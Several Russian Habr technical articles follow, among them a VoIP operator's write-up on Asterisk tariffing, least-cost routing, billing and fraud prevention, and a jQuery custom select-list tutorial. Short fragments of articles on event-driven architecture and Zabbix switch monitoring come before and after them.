Это свойство системы, когда при применении одной и той же операции на один и тот же объект, мы всегда получаем одинаковый результат. Важно следить за соблюдением этого свойства, чтобы не нарушить логику работы системы и не потерять консистентность. Каждое событие попавшее в наш обработчик должно быть обработано только один раз. Могут возникнуть такие ситуации, что одно и то же событие может попасть в обработку несколько раз. Мы должны проверять следующие вещи:
* Может ли событие быть успешно обработано при попадании в консьюмер?
* Было ли это событие уже успешно обработано?
* Если событие было взято в обработку, но успешно не завершено, нам нужно правильным образом восстановить контекст обработки и начать с места ошибки.
Для этого нам нужно использовать достаточный уровень логирования/журналирования обработки наших событий. Логика обработки событий должна быть гранулированной, чтобы обеспечить идемпотентность.
#### Конкурентность
В многопоточной обработке событий всегда нужно учитывать, что несколько процессов могут работать с общим ресурсом. Чтобы избежать непредсказуемого результата на выходе, нужно использовать блокировки, мьютексы и прочие подходы, применимые в multithread-программировании. Советую изучить базовые принципы многопоточного программирования.
#### Debug
Дебажить подобные системы не всегда просто. Рекомендую в сообщения, передаваемые через очереди по разными подсистемам, закладывать сквозной uuid сообщения, который позволит вам отслеживать их путь в рамках жизненного цикла. Также этот прием будет полезен для подробного логирования и обеспечения идемпотентности системы.
#### Тестирование
Чаще всего в автотесты закладывают Unit-тестирование. Безусловно, оно будет полезным для тестирования каждого отдельного компонента, но чаще всего проблемы возникают на стыке компонентов, поэтому не стоит пренебрегать интеграционными тестами.
### Выводы
Event-driven архитектура позволяет нам перейти от связей внутри системы "Компонент А" -> "Компонент B", к парадигме связей компонентов через события "Компонент А" -> "Событие B" -> "Компонент B". Тем самым, мы снижаем связность системы, делая ее более гибкой, поддерживаемой и расширяемой. Так же, мы получаем плюсы, в виде асинхронной обработки событий и более простого горизонтального масштабирования нашей системы. | https://habr.com/ru/post/699492/ | null | ru | null |
# VoIP телефония. Asterisk. Нестандартный подход ко всему. Часть 2
Продолжаем наш рассказ о модификации движка для VoIP оператора связи.
[В первой части](https://habrahabr.ru/post/319352/) мы рассказали о начальной структуре базы данных и настройке Asterisk для обслуживания вызовов, с мониторингом состояния вызова. В этой части мы затронем такие вещи как тарификатор, LCR, биллинг и геолокация.
Тарификатор
===========
Ни для кого не является секретом, что у различных операторов связи в зависимости от их географического расположения, довольно сильно отличается стоимость звонков в одни и те же места. Для того чтобы дешево звонить по определенному направлению необходимо подбирать оператора с минимальной ценой в нужном регионе. В зависимости от местности, в которой оператор связи оказывает свои услуги, тарификация вызова может отличаться довольно сильно. Данное отличие состоит в том, как оператор считает потраченное на разговор время. Большинство российских операторов связи тарифицируют звонки поминутно, однако подавляющее большинство VoIP операторов использует другие методы для определения стоимости звонка. Отдельного разговора заслуживают премиум сервисы, но об этом чуть позже.
Вот выдержка из тарифного плана оператора связи:
```
"Minimal Duration- 1 second"
"Billing increment- 1 second"
"USA -6/6"
"Mexico 60/60"
"Gambia 60/1"
"Tonga All (Prefix 676) - 60/60"
"Vanuatu All (Prefix 678)- 60/60 "
"Samoa (Prefix 685) - 60/60"
"Papua New Guinea (Prefix 675)- 60/60 "
"Nauru All (Prefix 674)- 60/60 "
```
Как мы видим, минимальное время разговора равно одной секунде, а стоимость разговора вычисляется из количества потраченных секунд (1/1), звонок в Соединённые Штаты Америки тарифицируется с шагом в 6 секунд(6/6), звонок в Мексику тарифицируется с шагом в 60 секунд, т.е. поминутно(60/60). Также может использоваться формула 60/1, что означает посекундную тарификацию звонка, но с полной оплатой первой минуты разговора. Например если минута разговора стоит 0.37USD и вы разговаривали 28 секунд, то стоимость вашего звонка составит 0.37USD, а если вы разговаривали 76 секунд, то стоимость вашего звонка составит (0.37/60)\*76USD.
Оператор фиксированной, мобильной или VoIP связи, предоставляя вам поминутную тарификацию в регионы с посекундной оплатой разговора, на данной разнице зарабатывает себе на хлеб. Маржа конечно небольшая, но совместно с повышением тарифа для конечного пользователя, получается как в анекдоте "двадцать старушек — рубль". И совсем немногие операторы позволяют себе продавать посекундную тарификацию конечному пользователю.
Тарифные сетки операторов основаны на префиксной адресации вызова. Префикс обычно представляет собой несколько первых цифр телефона в международном стандарте. Это означает, что у каждого конкретного оператора звонок по определенному направлению может отличаться в разы. Это происходит как из-за способа доставки звонка до вызываемого абонента, так и из-за внедрения в номерную ёмкость локальных операторов связи, так называемых "премиум" или "специальных" сервисов. "Премиум" сервисами обычно называют справочные(где купить, как проехать и т.д.), либо развлекательные сервисы(гороскопы, магазин на диване, секс по телефону и т.д.), доступ к которым предоставляется на платной основе по повышенным тарифам. Если оператор связи не контролирует исходящие звонки из своих систем или несвоевременно обновляет тарифные планы своих партнёров, то известны случаи гигантских долгов из-за случайного разрешения звонков на "премиум" сервисы без контроля личного счёта клиента.
Как это происходит в реальной жизни?
Переделывая "движок" оператора мы столкнулись с тем, что старый "движок" не отслеживал направления звонков и тарифицировал клиента "по факту", с ограничением времени звонка в 3600 секунд. Т.е. клиент мог позвонить на телефон "премиум" сервиса и "завесить" сессию на 1 час. При стоимости звонка в 5 долларов за минуту, оператор попадал на 300 долларов в час. А так как количество одновременных вызовов было не ограничено, то потери могли составлять бОльшие суммы. В связи с тем, что операторы связи только выходящие на рынок пытаются привлечь новых клиентов, они дают "тестовый" доступ новым пользователям на определённую виртуальную сумму. Пользователь совершает звонок в нужное ему место, оценивает качество связи, и если всё хорошо, то начинает пополнять свой "личный" кошелёк у этого оператора связи. Данным типом доступа пользуются фродеры, которые находятся в сговоре с хозяевами "премиум" сервиса. Фродер используя бреши в системе тарификации операторов, совершает несколько звонков на платные сервисы, тем самым выставляя оператора на деньги. При этом стоимость звонка фродера на платный сервис практически равна нулю, а прибыль может достигать огромных сумм. Оператор связи обнаруживает проблему либо на утро, либо после получения оповещения о исчерпании денег на своём счету. Оспорить совершенный звонок, который прошёл через цепочку операторов и достиг "премиум" сервиса, практически невозможно, т.к. оплата за сессию идёт по всей цепочке операторов.
Рассмотрим примеры "премиум" сервисов и как они выглядят в тарифной сетке.
| prefix | pricerub | note | tarif\_name |
| --- | --- | --- | --- |
| 37122 | 1,001 | LATVIA Mobile | VOICETRADEC |
| 371227 | 0,8439 | LATVIA Other 4, Latvia VAS IPRS | VOICETRADEC |
| 3712270 | 34,321 | LATVIA Latvia-Mobile, Latvia Premium, Latvia VAS IPRS | VOICETRADEC |
| 3712272 | 1,001 | LATVIA LATVIA NGN, Latvia mobile Bite, Latvia VAS IPRS | VOICETRADEC |
| 3712274 | 32,812 | LATVIA LATVIA NGN, Latvia VAS IPRS | VOICETRADEC |
| 3712277 | 1,0226 | Latvia Mobile — Master, Latvia mobile Master Telecom, LATVIA Radiocoms Mobile, Латвия моб.Master Telecom | VOICETRADEC |
| 3712278 | 37,181 | Latvia Premium, LATVIA Radiocoms Mobile, Latvia Services ECO Networks, Latvia VAS IPRS, Латвия моб.ECO Solutions | VOICETRADEC |
| 3712279 | 37,181 | LATVIA Mobile, Latvia Premium, Latvia Services ECO Networks, Latvia VAS IPRS, Латвия моб.ECO Solutions | VOICETRADEC |
Если внимательно посмотреть на таблицу, то мы увидим, что номер *37122705678* попадает под три тарифа 37122,371227,3712270. Если некорректно обработать начало номера или вовремя не обновить тарифный план, то вместо ожидаемого звонка за рубль или 84 копейки, мы получим звонок с ценой больше 30 рублей за минуту. Именно данной лазейкой и пользуются злоумышленники. Поэтому для исключения таких вариантов развития событий, мы разделили все префиксы на 14 категорий.
| id | category | description |
| --- | --- | --- |
| 1 | FIXED | Стационарные номера телефонов |
| 2 | PREMIUM | Премиум сервисы(гороскопы, секс услуги, платная справочная информация и т.д.) |
| 3 | OffNet | Звонки из роуминга |
| 4 | OnNet | Звонки внутри сети |
| 5 | OTHER | Прочие типы звонков |
| 6 | MOBILE | Мобильные номера телефонов |
| 7 | PAGER | Сервисы коротких сообщений |
| 8 | TOLLFREE | Сервисы разговоров, где за вызов платит вызываемый номер |
| 9 | VOIP | Интернет телефония |
| 10 | SATELLITE | Спутниковая связь |
| 11 | NETWORK | Местные операторы связи |
| 12 | PERSONAL | Персональные "красивые" номера не привязанные к географическому региону |
| 13 | UNKNOWN | Неизвестные телефонные коды |
| 14 | UNUSED | Неиспользуемые телефонные коды |
А когда запустили связку в работу, то просто ограничили тестовые звонки на часть спорных категорий. Если пользователь вносил свои деньги на счёт, то заблокированные категории автоматически открывались. Это снизило уровень фрода практически на 99%. Оставшийся процент подвисал в воздухе из-за временного лага в обновлении тарифов партнёров. При обновлении тарифной сетки те префиксы, которые не были определены в таблице, "выпадали" из общего списка и после анализа оператором, привязывались к нужной категории.
LCR(Least Cost Routing) — «маршрутизация по критерию наименьшей стоимости»
==========================================================================
В связи с тем, что система которую мы проектировали, подразумевала подключение к большому количеству операторов, возник вопрос выбора маршрутов с наименьшей стоимостью минуты разговора.
Тарифная сетка у нас уже была и в ней находилось около 700.000 записей.
Понятное дело, что поиск по 700.000 записей дело накладное, а с увеличением количества операторов, количество записей бы заметно подросло. Поэтому мы искали множество путей ускорения поиска маршрута в тарифной сетке.
**Внимание! номер 79031210011 взят для примера и моим не является. Цены на разговоры в таблицах указаны от апреля 2016 года(последний дамп базы)**
Основная проблема поиска заключалась в том, что мы должны найти более длинный номер среди более коротких префиксов. А после этого найти наиболее длинный префикс для каждого оператора из результатов поиска.И для этого есть два пути:
```
#Первый
select * from rates r where '79031210011' like CONCAT(r.prefix,'%')
#Второй
select * from rates r where INSTR('79031210011',r.prefix) = 1
#Первый чуть быстрее, второй чуть медленнее
select prefix,pricerub,note,tarif_id from rates r where '79031210011' like CONCAT(r.prefix,'%');
/* Затронуто строк: 0 Найденные строки: 15 Предупреждения: 0 Длительность 1 запрос: 0,421 sec. */
select prefix,pricerub,note,tarif_id from rates r where INSTR('79031210011',r.prefix) = 1;
/* Затронуто строк: 0 Найденные строки: 15 Предупреждения: 0 Длительность 1 запрос: 0,453 sec. */
```
Ответ выглядел следующим образом:
| prefix | pricerub | note | tarif\_id |
| --- | --- | --- | --- |
| 7 | 11,72 | Неопознанные коды | 11 |
| 79 | 1,495 | РОССИЯ МОБИЛЬНЫЕ | 3 |
| 79 | 1,15 | Россия (mob) — регион | 11 |
| 7903 | 1,15 | Россия (mob) — Билайн | 11 |
| 79031 | 1,15 | Москва (mob) — Билайн | 11 |
| 7 | 0,715 | RUSSIAN FEDERATION Fixed | 5 |
| 7903 | 3,9326 | RUSSIAN FEDERATION Mobile | 5 |
| 7 | 0,742 | RUSSIAN FEDERATION Fixed | 6 |
| 7903 | 4,2294 | RUSSIAN FEDERATION Mobile | 6 |
| 7 | 1,6729 | Russia Fixed | 9 |
| 79 | 7,9731 | Russia Mobile | 9 |
| 7903 | 5,6999 | Russia Mobile — Beeline | 9 |
| 7 | 0,8027 | Russia Fixed | 10 |
| 79 | 1,457 | Russia Mobile | 10 |
| 7903 | 3,393 | Russia Mobile — Beeline | 10 |
Cкорость поиска в полсекунды(тестовая среда) не то чтобы совсем критична, но выглядит странно. Поэтому для оптимизации поиска мы вынесли поле prefix в отдельную таблицу, сделав его ключевым для таблицы rates
```
select * from rates_prefix r where '79031210011' like CONCAT(r.prefix,'%');
/* Затронуто строк: 0 Найденные строки: 4 Предупреждения: 0 Длительность 1 запрос: 0,172 sec. */
```
Как мы видим, скорость поиска выросла примерно в три раза. Что в принципе не так уж и плохо. Далее полученная таблица префиксов "пристыковывается" к таблице тарифов операторов, и из результирующей таблицы убираются лишние "короткие" префиксы. Там же пристыковывается таблица операторов и на выходе мы имеем полноценный список маршрутов с ценами и префиксами, который привязан к оператору связи.
```
call usp_asteriskfastpathtest('79031210011','test_user',0);
/* Затронуто строк: 0 Найденные строки: 17 Предупреждения: 0 Длительность 1 запрос: 0,140 sec. */
```
| rate\_prefix | dial\_string | note | rate\_pricerub | provider\_id |
| --- | --- | --- | --- | --- |
| 79031 | SIP/westcall/79031210011 | Москва (mob) — Билайн | 1,15 | 7 |
| 7903 | SIP/sip.voicebuy.com/999279031210011 | RUSSIAN FEDERATION Mobile | 3,9326 | 11 |
| 7903 | SIP/sbc.voxbeam.com/001110179031210011 | Russia Mobile — Beeline | 5,6999 | 8 |
Ну или например список маршрутов до отеля Crystal Hotel в Америке с номером 13606632262
| rate\_prefix | dial\_string | note | rate\_pricerub | provider\_id |
| --- | --- | --- | --- | --- |
| 1360 | SIP/sbc.voxbeam.com/001110313606632262 | United States — OnNet — WA — 360 | 0,3305 | 8 |
| 1360 | SIP/sip.voicebuy.com/999113606632262 | UNITED STATES OF AMERICA Washington | 0,3474 | 11 |
| 1360 | SIP/91.190.132.39/010#13606632262 | USA Other | 0,4047 | 13 |
Естественно, при формировании списка дозвона, совместно с сортировкой префиксов в тарифной сетке используется довольно много дополнительных условий. Это и дата начала/конца действия тарифа, поддержка CLI, ручные блокировки и прочие. Финальная таблица перед занесением в базу дополнительно обрабатывается на задаваемое ограничение максимальной стоимости звонка. Нет смысла разрешать звонки за 300 рублей для пользователя у которого на счету всего 100 рублей.
Всё это накладывает свои издержки на производительность. На боевой системе мы получали примерно 50ms на запрос.
Биллинг
=======
Как мы все понимаем, не бывает систем предоставления услуг без подсчёта стоимости предоставленных услуг. Мы долго думали, как наиболее оптимально контролировать состояние кошелька пользователя и нашли на наш взгляд компромиссное решение.
[В конце первой части](https://habrahabr.ru/post/319352/) я описал настройку сервера Asterisk в плане добавления сервисных функций и функций контроля состояния канала. Эти же функции позволяют чётко отслеживать состояние вызова для клиента.
Как можно увидеть в нижеследующей таблице
у нас всегда есть информация о текущем тарифе оператора, валюте оператора, тарифе клиента, направлении и прочему. Что в свою очередь превращается в следующую таблицу
И именно dial\_guid возвращается приложением *make\_a\_route.py* в контекст **[make\_a\_call]**, а поле *step* используется для уточнения текущей итерации.
Когда Asterisk начинает подготавливать канал связи для соединения абонентов, он вызывает приложение *create\_channel\_record.py*, которое формирует в таблице CDR пустую запись, в которой нет никакой информации кроме времени создания канала, идентификатора пользователя и dial\_guid+step. Когда вызываемый пользователь поднимает трубку, вызывается приложение *predial.py*, которое заполняет поля таблицы ответственные за время поднятия трубки и тарификацию вызова. В случае корректного завершения разговора или возникновения ошибки, вызывается приложение *hangup.py*, которое "закрывает" CDR запись в базе, заполняя поле со временем окончания разговора. Таким образом получается, что ошибочные звонки, которые по какой-то причине не были совершены, не попадают в биллинг пользователя, но остаются в логах системы. На таблицу с временной CDR информацией установлен триггер, который ожидает изменений строк, где время поднятия трубки и время окончания разговора не равны нулю. Как только данный триггер видит описанное выше условие, он переносит данные из временной CDR таблицы в основную и записывает клиенту на счёт израсходованную сумму.
К слову говоря, есть еще одна таблица в которой хранятся названия каналов обслуживающих текущие вызовы и привязанные к dial\_guid. В связи с тем, что мы видим в realtime все текущие разговоры в базе данных, в базу данных был введен триггер срабатывающий раз в 5 секунд и соотносящий текущие осуществляемые разговоры с тарифами на них и остатком средств на счёте клиента.
Как только денежных средств на счёте клиента остаётся менее чем на 1 минуту разговора, триггер помещает в специальную таблицу номер канала, который инициировал вызов. Служебный appication server, находящийся на каждом из Asterisk серверов, мониторит данную таблицу. Как только он видит там строку адресованную в его адрес, вызывается приложение *Originate* с перенаправлением на контекст с фразой "недостаточно денежных средств" и разговор завершается. После завершения разговора, срабатывают штатные процедуры изменяющие баланс клиента. Данная схема прекрасна тем, что отслеживает все осуществляемые с аккаунта клиента разговоры на всех серверах.
Мониторинг разговоров выглядит примерно так.
Мультивалютный пересчёт
=======================
По сути описанная выше технология позволяет строить мультивалютный биллинг в пределах одной системы. К слову о валюте. Так как стоимость звонков через зарубежных операторов считается в долларах или евро, необходимо определить в какой валюте работает клиент. А в связи с тем, что курс валюты меняется каждый день, необходимо обеспечить пересчёт валют.
Это делает простейший скрипт на Python
```
# -*- coding: utf-8 -*-
import urllib
from sqlconfig import *
import mysql.connector
import json
# Init mysql connection
cnx = mysql.connector.connect(**config)
cursor = cnx.cursor()
cursor.execute('SET AUTOCOMMIT=1;')
cursor.execute('SET collation_connection=\'utf8mb4_unicode_ci\';')
currency_pairs = [ ('EUR','USD'),('EUR','RUB'),('EUR','UAH'),('EUR','KZT'),('RUB','USD'),('RUB','UAH'),('RUB','KZT'),('USD','UAH'),('USD','KZT') ]
for base in currency_pairs:
(fromcur,tocur) = base
root_url = 'http://www.bloomberg.com/markets/api/security/currency/cross-rates/%s,%s'%(fromcur,tocur)
f = urllib.urlopen(root_url)
myjson = json.loads(f.read())
pair = myjson[u'data']
for fromcur in pair:
for topair in pair[fromcur].items():
(tocur,crossrate) = topair
cursor.execute('INSERT INTO currency_cross (getcrosstime,from_currency_id,to_currency_id,crossrate) VALUES (now(),(select id from currency where iso="%s"),(select id from currency where iso="%s"),"%s")'%(fromcur,tocur,crossrate))
print fromcur,tocur,crossrate
cnx.commit()
cursor.close()
cnx.close()
```
Он формирует таблицу кросскурсов на каждый день
| From | To | ExchRate |
| --- | --- | --- |
| USD | EUR | 0.9423 |
| EUR | USD | 1.0612 |
| RUB | EUR | 0.01581 |
| EUR | RUB | 63.2363 |
| UAH | EUR | 0.03409 |
| EUR | UAH | 29.3352 |
| KZT | EUR | 0.002831 |
| EUR | KZT | 353.1992 |
| RUB | USD | 0.01678 |
| USD | RUB | 59.5889 |
| RUB | UAH | 0.4639 |
| UAH | RUB | 2.1556 |
| RUB | KZT | 5.5854 |
| KZT | RUB | 0.179 |
| UAH | USD | 0.03618 |
| USD | UAH | 27.6434 |
| USD | KZT | 332.83 |
| KZT | USD | 0.003005 |
Таким образом, в зависимости от основной валюты, в которой производится расчёт, мы можем пересчитывать средства клиента и приводить тарифы к нужной валюте.
Геолокация звонков
==================
Геолокация довольно важная часть различных сервисов, которые общаются с клиентами по всему миру. Всегда приятно на телефоне видеть номер звонящего совпадающего с твоим местоположением. Как это работает ?
Внутренний регулирующий орган в каждой стране дополнительно к международному плану нумерации, а также префиксу конкретной страны, делит свои территории на округа, области, районы, города и населенные пункты, присваивая каждому из них дополнительную цифру в префиксе набора номера.
Крупные города (города миллионники) такие как Москва, Санкт-Петербург и прочие имеют семизначный план нумерации, города регионального значения — шестизначный, города областного значения — пятизначные и т.д.
Внутри номерного плана Российской федерации происходит деление на:
* Федеральный округ
* Город федерального значения
* Город
* Область
* Район
* посёлок, село, поселение и т.д.
Внутри номерного плана Соединённых Штатов Америки происходит деление на:
* Area
* State
* District
* County
* City
Таким образом зная код телефона можно с большой вероятностью узнать местоположение объекта, исключением являются сотовые телефонные номера, которые были смигрированы с одного оператора на другого, а также сервисы предоставляющие услуги геонезависимых номеров.
Для российских номера на [сайте россвязи](https://www.rossvyaz.ru/opendata/), в свободном доступе, существует несколько таблиц описывающих номерную привязку по регионам и федеральным округам. Принадлежность сотового номера к оператору можно уточнить на сайте [цниис](http://www.zniis.ru/bdpn/check).
Для других стран также можно найти информацию на сайте местных регуляторов.
Сбор и уточнение информации об используемых префиксах дело очень затратное по времени. Поэтому полных баз практически нет в свободном доступе. А те которые есть не всегда содержат нужную информацию. Но как и в большинстве ситуаций есть небольшой лайвхак.
Операторы IP телефонии предоставляющие свои тарифы, обычно включают в виде структурированного описания, местоположение которое обслуживает префикс.
Не будем ходить далеко и возьмём первые строки из операторского тарифного плана:
```
"prefix","comment","price","connect_cost","increment","custom","created_at",
"9375","AFGHANISTAN - CDMA","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9340","AFGHANISTAN - HERAT","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9360","AFGHANISTAN - JALALABAD","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9320","AFGHANISTAN - KABUL","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9330","AFGHANISTAN - KANDAHAR","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9350","AFGHANISTAN - MAZAR-E-SHARIF","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"937","AFGHANISTAN - MOBILE","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"9377","AFGHANISTAN - MOBILE - AREEBA","0.32751","0.0000","60","0","2015-10-11 23:21:51",
"9370","AFGHANISTAN - MOBILE - AWCC","0.32751","0.0000","60","0","2015-10-11 23:21:51",
"9378","AFGHANISTAN - MOBILE - OTHER CARRIERS","0.32751","0.0000","60","0","2015-10-11 23:21:51",
"9379","AFGHANISTAN - MOBILE - ROSHAN","0.310365","0.0000","60","0","2015-10-11 23:21:51",
"93","AFGHANISTAN - PROPER","0.388125","0.0000","60","0","2015-10-11 23:21:51",
"35568","ALBANIA - MOBILE - AMC","0.456165","0.0000","60","0","2015-10-11 23:21:51",
"35567","ALBANIA - MOBILE - EAGLE","0.452925","0.0000","60","0","2015-10-11 23:21:51",
"35569","ALBANIA - MOBILE - VODAFONE","0.47007","0.0000","60","0","2015-10-11 23:21:51",
"355","ALBANIA - PROPER","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"3554","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"35541","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"35542","ALBANIA - TIRANE","0.03861","0.0000","60","0","2015-10-11 23:21:51",
"35543","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"35544","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"35545","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"35546","ALBANIA - TIRANE","0.08046","0.0000","60","0","2015-10-11 23:21:51",
"3554249","ALBANIA 0 OLO GROUP","0.04401","0.0000","60","0","2015-10-11 23:21:51",
"7997","RUSSIA (MOBILE)","0.07938","0.0000","60","0","2015-10-11 23:21:51",
"78182","RUSSIA - ARKHANGELSK","0.09558","0.0000","60","0","2015-10-11 23:21:51",
"73512","RUSSIA - CHELYABINSK","0.055755","0.0000","60","0","2015-10-11 23:21:51",
"74932","RUSSIA - IVANOVO","0.055755","0.0000","60","0","2015-10-11 23:21:51",
"73412","RUSSIA - IZHEVSK","0.055755","0.0000","60","0","2015-10-11 23:21:51",
"78432","RUSSIA - KAZAN","0.052515","0.0000","60","0","2015-10-11 23:21:51",
"73912","RUSSIA - KRASNOYARSK","0.052515","0.0000","60","0","2015-10-11 23:21:51",
"7813","RUSSIA - LENINGRAD REGION","0.055755","0.0000","60","0","2015-10-11 23:21:51",
"79","RUSSIA - MOBILE","0.07938","0.0000","60","0","2015-10-11 23:21:51",
"7964","RUSSIA - MOBILE - BEELINE","0.13311","0.0000","60","0","2015-10-11 23:21:51",
"7965","RUSSIA - MOBILE - BEELINE","0.13311","0.0000","60","0","2015-10-11 23:21:51",
"792","RUSSIA - MOBILE - MEGAFON","0.07938","0.0000","60","0","2015-10-11 23:21:51",
"791","RUSSIA - MOBILE - OTHER CARRIERS","0.07938","0.0000","60","0","2015-10-11 23:21:51",
1531,US,"United States - OnNet - NE - 531",0.008100,6,6,0.008100,Unchanged,USD,11-Apr-2016,22:00:00,18-Apr-2016,22:00:00
1603,US,"United States - OnNet - NH - 603",0.008100,6,6,0.008100,Unchanged,USD,11-Apr-2016,22:00:00,18-Apr-2016,22:00:00
1201,US,"United States - OnNet - NJ - 201",0.008100,6,6,0.008100,Unchanged,USD,11-Apr-2016,22:00:00,18-Apr-2016,22:00:00
```
Как можно увидеть из этих данных, существует привязка кода к стране и типу связи.
* PROPER — Основной код страны
* FIXED — фиксированная связь
* MOBILE — мобильный оператор связи. обычно если известно его имя, то оно идёт следом
* CITY — если код относится целиком к городу, то пишется его имя
* OLO — аббревиатура используемая для обозначения локальных операторов(OTHER LOCAL OPERATOR)
* OTHER — прочие виды связи
* IPRS — индивидуальные премиум сервисы
* PREMIUM — премиум услуги
и т.д.
Некоторые операторы включают в описание страну, тип связи, штат и код штата. Что в свою очередь также помогает в навигации. Поэтому можно написать простейший парсер тарифов и довольно быстро свести, через объединение описаний для префиксов, все эти данные в единую таблицу.
Вот наверное в принципе и всё, что можно описать полезного из проекта, который мы делали. От получения первой информации до запуска в тестовую эксплуатацию прошло примерно 3 месяца. Основное время было потрачено на обработку различных данных и отладку механизмов внутри базы данных. Например полный дамп сайта <https://sanstv.ru/codes/>, с сохранением его работоспособности для других пользователей, занял примерно четверо суток, а обработка данных около двух недель. Тоже самое с российскими префиксами и прочей служебной информацией. По сути проект писался сначала двумя людьми, потом присоединилось еще 2 человека. Основные проблемы проекта заключались в отсутствии описанного ТЗ и как в [Пьеса. Технический долг](https://habrahabr.ru/post/319332/) изменением задач на лету. По началу даже показалось, что статья писана с этого проекта. Надеюсь описанные здесь методики и подходы будут полезны Вам в Ваших проектах.
Спасибо за потраченное на прочтение статей время.
© Aborche 2017
 | https://habr.com/ru/post/319558/ | null | ru | null |
# [Select-Form]: Пишем свой select-список, используя jQuery и CSS
Здравствуйте, хабраюзеры и просто читающие. Сравнительно недавно задался вопросом, как применить стили к тегу select. Всем же хочется, чтобы стилизация формы соответствовала дизайну сайта, а пока что еще не все можно описать чистым CSS. В данной статье мы рассмотрим простенький пример написания своего select-списка, используя CSS и библиотеку языка JavaScript — jQuery. Думаю, особенно новичкам будет любопытен данный материал. Конечно, лучше было бы лучше написать на нативном JS, но всем известно, что строк кода было бы больше, и вряд ли он был бы понятнее.
Честно говоря, прежде чем взяться за создание очередного велосипеда, я пробовал найти подобное решение, но кроме эффектных div-оберток для тега select ничего не нашёл. И я подумал, что будет неплохо написать что-то простенькое и нужное. Ну, что ж, начнём!
В нашем кружке лепки из пластилина участвуют три файла:
* selectbox.html
* selectbox.css
* selectbox.js
Рассмотрим их по очереди. Сначала обратим внимание на самое что ни наесть простое в этом примере — верстка списка или файл **selectbox.html**:
**selectbox.html**
```
Месяц
* Январь
* Февраль
* Март
* Апрель
* Май
* Июнь
* Июль
* Август
* Сентябрь
* Октябрь
* Ноябрь
* Декабрь
```
Как видно из исходного html-кода, наш список будет предлагать нам выбрать месяц. Теперь рассмотрим файл **selectbox.css**:
**selectbox.css**
```
div#selectBox {
width: 250px;
position: relative;
height: 50px;
border-radius: 3px;
border: solid 1px lightgrey;
background-color: #fff;
color: #333;
cursor: pointer;
overflow: hidden;
transition: .3s;
}
div#selectBox p.valueTag {
padding: 15px;
cursor: pointer;
transition: .2s;
height: 40px;
}
div#selectBox > img.arrow {
position: absolute;
right: 0;
width: 50px;
padding: 15px;
}
/*
для пользователей Safari, Chrome и Opera приятный бонус — стилизованный скролл-бар.
*/
::-webkit-scrollbar {
background: transparent;
width: 0.5em;
position: absolute;
}
::-webkit-scrollbar-track {
background: transparent;
position: absolute;
z-index: -2;
}
::-webkit-scrollbar-thumb {
border-radius: 100px;
background: #888;
}
ul#selectMenuBox {
background: #fff;
transition: .3s;
width: 100%;
height: 200px;
overflow-y: auto;
overflow-x: hidden !important;
position: absolute;
margin-top: 00px;
display: block;
}
ul#selectMenuBox > li {
display: block;
padding: 10px;
border-radius: 00px;
cursor: pointer;
}
ul#selectMenuBox > li.option {
color: gray;
padding: 10px;
}
ul#selectMenuBox > li.option:hover {
color: #333;
background: #e1e1e1;
transition: .2s;
}
```
Особых сложностей тут нет, если вы владеете азами верстки и разметки средствами HTML и CSS3 соответственно.
А теперь к вкусностям! Рассмотрим исходный код плагина *selectbox()* для jQuery, файл **selectbox.js**:
**selectbox.js**
```
(function( $ ) {
$.fn.selectbox = function() {
// начальные параметры
// задаем стандартную высоту div'a.
var selectDefaultHeight = $('#selectBox').height();
// угол поворота изображения в div'e
var rotateDefault = "rotate(0deg)";
// после нажатия кнопки срабатывает функция, в которой
// вычисляется исходная высота нашего div'a.
// очень удобно для сравнения с входящими параметрами (то, что задается в начале скрипта)
$('#selectBox > p.valueTag').click(function() {
// вычисление высоты объекта методом height()
var currentHeight = $('#selectBox').height();
// проверка условия на совпадение/не совпадение с заданной высотой вначале,
// чтобы понять. что делать дальше.
if (currentHeight < 100 || currentHeight == selectDefaultHeight) {
// если высота блока не менялась и равна высоте, заданной по умолчанию,
// тогда мы открываем список и выбираем нужный элемент.
$('#selectBox').height("250px"); // «точка остановки анимации»
// здесь стилизуем нашу стрелку и делаем анимацию средствами CSS3
$('img.arrow').css({borderRadius: "1000px", transition: ".2s", transform: "rotate(180deg)"});
}
// иначе если список развернут (высота больше или равна 250 пикселям),
// то при нажатии на абзац с классом valueTag, сворачиваем наш список и
// и присваиваем блоку первоначальную высоту + поворот стрелки в начальное положение
if (currentHeight >= 250) {
$('#selectBox').height(selectDefaultHeight);
$('img.arrow').css({transform: rotateDefault});
}
});
// так же сворачиваем список при выборе нужного элемента
// и меняем текст абзаца на текст элемента в списке
$('li.option').click(function() {
$('#selectBox').height(selectDefaultHeight);
$('img.arrow').css({transform: rotateDefault});
$('p.valueTag').text($(this).text());
});
};
})( jQuery );
```
Кода было больше, но удалось сжать благодаря методам css() и height(). Оформил в виде плагина для удобства и многократного использования. Можно сделать так, как вам нравится, лишь бы работало, так что я не обижусь, если кто-то оптимизирует мой костыль. Для вызова достаточно подключить внешний файл скрипта и вызвать плагин следующим образом:
```
$('selector').selectbox();
```
Предварительно, включив вызов в метод ready() объекта document, чтобы плагин загружался после полноценной загрузки документа. Подробнее, что такое плагин на jQuery, можно ознакомиться [здесь](https://habrahabr.ru/post/158235/).
Получилось что-то вроде этого:
Спасибо за внимание! Верстайте просто и со стилем!
**P.S:** Надеюсь, что данная статья кому-то поможет в решении данного/похожего вопроса. | https://habr.com/ru/post/312532/ | null | ru | null |
# Покопаемся в мозгах «умного» свича
Пару лет назад у меня появился сервер мониторинга zabbix. Естественно, сразу захотелось получать как можно больше информации о своём оборудовании. На обычных компьютерных системах zabbix агент даёт для этого самые широкие возможности. С сетевым оборудованием всё сложнее. Команда snmpwalk печатает простыню разных значений и счётчиков, но извлечь оттуда что-то полезное — не так-то просто.
